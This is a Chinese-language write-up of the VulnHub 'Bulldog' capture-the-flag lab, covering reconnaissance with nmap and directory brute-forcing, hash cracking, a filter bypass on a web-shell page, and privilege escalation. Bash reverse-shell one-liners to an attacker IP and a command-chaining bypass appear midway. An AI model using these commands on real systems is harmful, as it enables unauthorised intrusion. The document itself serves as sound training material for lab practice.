- 0x00 环境搭建
- 0x01 信息收集
- 0x02 漏洞挖掘
- web漏洞思路
- ssh 利用思路
- 步骤1:浏览网页 爆破目录
- 步骤二: 破解hash
- 步骤三:利用密码登录后台
- 步骤四:利用命令执行(需要尝试绕过方法)
- 步骤五:反弹shell
- 0x03 提升权限
- 步骤六:查看系统用户,确定需要关注的用户
- 步骤七:查找每个用户的文件
- 步骤八:拼接root密码提权
- 0x04 思路总结
-
下载链接
https://download.vulnhub.com/bulldog/bulldog.ova
-
目标
获得root权限 读取flag -
运行环境
靶机 VM虚拟机启动
攻击机 kali win10 -
靶机ip问题
(1)设为nat模式 和kali同网段
(2)如果设为nat, kali扫不出靶机ip 这样尝试
【1】重新启动 靶机 到开机页面 选择第二个ubuntu的高级选项。
【2】继续选择第二个选项
【3】 选择root 按回车 回车 进入命令行模式
【4】 mount -o rw,remount /
【5】ifconfig -a 显示所有网卡的信息,包含未up的
【6】 vim /etc/network/interfaces 修改 网卡名称
【7】 都改为 ens33
【8】 reboot
【9】 去kali 扫描 网段测试
如果有问题 多试试
一开始 改了 还是没反应 尝试了好几次 还是不行,
之后删掉靶机文件,重新 导入了靶机 再次修改 ip出现。
-
ip探测
netdiscover -i eth0 -r 192.168.157.0/24
-
端口和服务识别
masscan -p 1-65535 --rate=1000 192.168.157.161 nmap -A -sC -sV -p 80,23,8080 192.168.157.161 -o port.tx
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-30 16:34 CST Nmap scan report for 192.168.157.161 Host is up (0.00042s latency). PORT STATE SERVICE VERSION 23/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 20:8b:fc:9e:d9:2e:28:22:6b:2e:0e:e3:72:c5:bb:52 (RSA) | 256 cd:bd:45:d8:5c:e4:8c:b6:91:e5:39:a9:66:cb:d7:98 (ECDSA) |_ 256 2f:ba:d5:e5:9f:a2:43:e5:3b:24:2c:10:c2:0a:da:66 (ED25519) 80/tcp open http WSGIServer 0.1 (Python 2.7.12) |_http-server-header: WSGIServer/0.1 Python/2.7.12 |_http-title: Bulldog Industries 8080/tcp open http WSGIServer 0.1 (Python 2.7.12) |_http-server-header: WSGIServer/0.1 Python/2.7.12 |_http-title: Bulldog Industries MAC Address: 00:0C:29:27:6E:D6 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.42 ms 192.168.157.161 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 31.66 seconds
23/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; proto
80/tcp open http WSGIServer 0.1 (Python 2.7.12)
8080/tcp open http WSGIServer 0.1 (Python 2.7.12)
OS details: Linux 3.2 - 4.9
0x02 漏洞挖掘 web漏洞思路(1) 爆破目录 看各个网页功能 及源码 找漏洞
(2) 看是否存在cms等框架漏洞,存在直接利用。
不存在开bp 手动找,也可开awvs appscan xray扫描。
(1)用九头蛇跑弱口令,在有用户名的情况下,需要看字典还有是否存在弱口令啦。
(2)从web中获得的账号密码,也可进行尝试,很有可能也是ssh密码。
(1) kali 和win10 两款工具爆破
/robots.txt
/admin/login/ 登录框
/dev
(2)浏览主页 点击各个点
只点到 一个 /notice/ 没有利用点
(3) 看看爆破出来的页面
/admin/login/ 页面 是一个Django 框架做的登录框
/robots.txt 没用
/dev 内容过多
有用信息有
点击 Web-Shell 跳转到
http://192.168.157.161/dev/shell/
需要认证才能使用
审查 /dev 源码 发现 存在网页开发人员测试时留下的有用信息 密码的哈希
尝试 解密登录
Team Lead: alan@bulldogindustries.com步骤二: 破解hash
Back-up Team Lead: william@bulldogindustries.com
Front End: malik@bulldogindustries.com
Front End: kevin@bulldogindustries.com
Back End: ashley@bulldogindustries.com
Back End: nick@bulldogindustries.com
Database: sarah@bulldogindustries.com
最后 在线解密后 就得出 最后两个 密码
邮箱 nick@bulldogindustries.com
密码 bulldog (cmd5)
邮箱 sarah@bulldogindustries.com
密码 bulldoglover (somd5)
(1)以邮箱@前当做用户名 密码登录后 都显示没有操作权限。
(2) ssh登录 23 都失败
(3)想到刚才需要认证的web-shell 访问试试
认证成功 是一个命令执行的界面
测试后 很多命令都会被网页拦截 想办法绕过
测试出 可以利用 (允许执行的) &&(不允许执行的) 拼接命令绕过
比如
id 不被执行
ls && id id执行成
(1)
ls && bash -c 'exec bash -i &>/dev/tcp/192.168.157.137/8080 <&1'
(2) 也可以 直接利用echo 可执行 反弹shell
echo "bash -i >& /dev/tcp/192.168.157.137/8080 0>&1" | bash
先试用echo 输出命令,在输入到 bash中。
两种方法均可以反弹成功
0x03 提升权限 步骤六:查看系统用户,确定需要关注的用户/bin/bash 的有 django 和 bulldogadmin 两个用户
步骤七:查找每个用户的文件(1) 先看 bulldogadmin
find / -user bulldogadmin 2>/dev/null
只显示非错误的
( 2>/dev/null 表示 将标准错误 重定向到 /dev/null 即linux设备的空文件中 俗称黑洞)
(2)发现 一个隐藏目录 中存在两个文件
/home/bulldogadmin/.hiddenadmindirectory/customPermissionApp
/home/bulldogadmin/.hiddenadmindirectory/note
(3)note文件应该是文本文件 直接cat 打印输出
cat /home/bulldogadmin/.hiddenadmindirectory/note
(4)App 看起来像是执行文件 strings 打印一下其中可打印的文件字符看看
strings /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp步骤八:拼接root密码提权
SUPERultH
imatePASH
SWORDyouH
CANTget
去掉H
SUPERultimatePASSWORDyouCANTget
可能是密码
su
报错 must be run from a terminal
必须从一个终端运行
用以下命令 将shell转换成完全交互的tty终端模式
python -c 'import pty; pty.spawn("/bin/bash")'
再次
su
报错su: Authentication failure
需要
sudo su SUPERultimatePASSWORDyouCANTget
cd .. cat congrats.txt0x04 思路总结
1.利用目录爆破 从爆破出的/dev页面内容中找到一处webshell 页面,源码中 查看到 认证需要的 账号密码。
2.利用webshell页面 可以执行操作系统命令,直接bash反弹 被禁止 。想办法绕过 echo 先输出命令 | 在输入到 bash中 或者 ls&&id 绕过。
3.获取到shell后 翻文件 看有没有密码等线索。
4.su 命令报错 must be run from a teriminal 必须从一个终端上运行时
python 环境可以
python -c ‘import pty;pty.spawn("/bin/bash")’
将shell转换为终端(tty)模式。



